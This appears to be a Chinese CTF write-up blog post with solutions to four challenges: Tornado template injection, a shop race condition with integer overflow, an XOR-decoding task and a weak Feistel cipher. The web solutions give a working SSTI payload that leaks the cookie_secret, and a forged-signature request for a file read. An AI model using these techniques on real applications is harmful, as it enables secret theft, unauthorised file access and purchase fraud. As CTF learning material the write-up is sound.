Web
Easy tornado
看过题目,需要我们找到一个叫做cookie_secret
的东西即可。
进行模板注入。
http://117.78.27.5:31356/error?msg={{2*2}}
http://117.78.27.5:31356/error?msg={{handler.application.settings}}
Whoops, looks like somethings went wrong .
{'login_url': '/login', 'template_path': 'templates', 'xsrf_cookies': True, 'cookie_secret': '0tG+hY[4ekR($v72OzJa)M9d!jV8sF.n1>{Zo#*pPIm_<W%L3-T~AuQlBbqr6}ig', 'debug': False, 'file_path': '/www/static/files', 'static_path': 'static'}
可以找到cookie_secret
。
输入:
http://117.78.27.5:31356/file?filename=/fllllllllllag&signature=7bae09c2c6e2f6aa34df7dbee23db960
得到flag。
ltshop
过程:
开局¥20
一包大辣条¥5
5包大辣条换一包辣条之王
9999999包辣条之王才能换flag
先利用条件竞争漏洞,通过burpsuite设置线程得到大辣条。
然后要进行整数溢出。
int: 2**32-1 = 4294967295
long: 2**63 -1 = 9223372036854775807
longlong: 2**64-1 = 18446744073709551615
这个题逻辑是numer*5<最大值。
所以取到临界值18446744073709551615 / 5 == 3689348814741910323
。
用3689348814741910323+1 == 3689348814741910324
购买即可整数溢出。
Misc
迟来的签到题
题目给了串字符串:
AAoHAR1WI1BRX1RQJ1AgJVdfI1VXJ1JTJ1BVXiIjVyRRIiMlJRs=
给力提示easy xor???
。
做法就是与f
的ASCII码进行异或。
用python得到flag:
import base64
problem = 'AAoHAR1WI1BRX1RQJ1AgJVdfI1VXJ1JTJ1BVXiIjVyRRIiMlJRs='
a = base64.b64decode(problem)
#print(type(a))
r = ''
for i in range(len(a)):
r += chr(a[i]^ord('f')) # 与f的ASCII码进行异或
print(r)
Crypto
FEZ [DONE]
DES只有轮密钥
用的同一组密钥加密,按照test的明文和密文按照流程推一遍,容易得到第7轮时的密文和原明文关系,然后flag的密文和明文关系也是一样的,就可以解出。(不会密码学 - -)
脚本:
# coding=utf-8
import os
def xor(a,b):
assert len(a)==len(b)
c=""
for i in range(len(a)):
c+=chr(ord(a[i])^ord(b[i]))
return c
def f(x,k):
return xor(xor(x,k),7)
def round(M,K):
L=M[0:27]
R=M[27:54]
new_l=R
new_r=xor(xor(R,L),K)
return new_l+new_r
def fez(m,K):
for i in K:
m=round(m,i)
return m
test_m= '6c34525bcc8c004abbb2815031542849daeade4f774425a6a49e545188f670ce4667df9db0b7ded2a25cdaa6e2a26f0d384d9699988f'
test_c='8cf87cc3c55369255b1c0dd4384092026aea1e37899675de8cd3a097f00a14a772ff135240fd03e77c9da02d7a2bc590fe797cfee990'
flag_c='ec42b9876a716393a8d1776b7e4be84511511ba579404f59956ce6fd12fc6cbfba909c6e5a6ab3e746aec5d31dc62e480009317af1bb'
test_m=test_m.decode('hex')
test_c=test_c.decode('hex')
flag_c=flag_c.decode('hex')
test_L0=test_m[0:27]
test_R0=test_m[27:54]
test_L7=test_c[0:27]
test_R7=test_c[27:54]
flag_L7=flag_c[0:27]
flag_R7=flag_c[27:54]
K_L=xor(test_L7,test_R0)
K_R=xor(xor(test_R7,test_L0),test_R0)
flag_R0=xor(flag_L7,K_L)
flag_L0=xor(xor(flag_R7,K_R),flag_R0)
print flag_L0+flag_R0
网友评论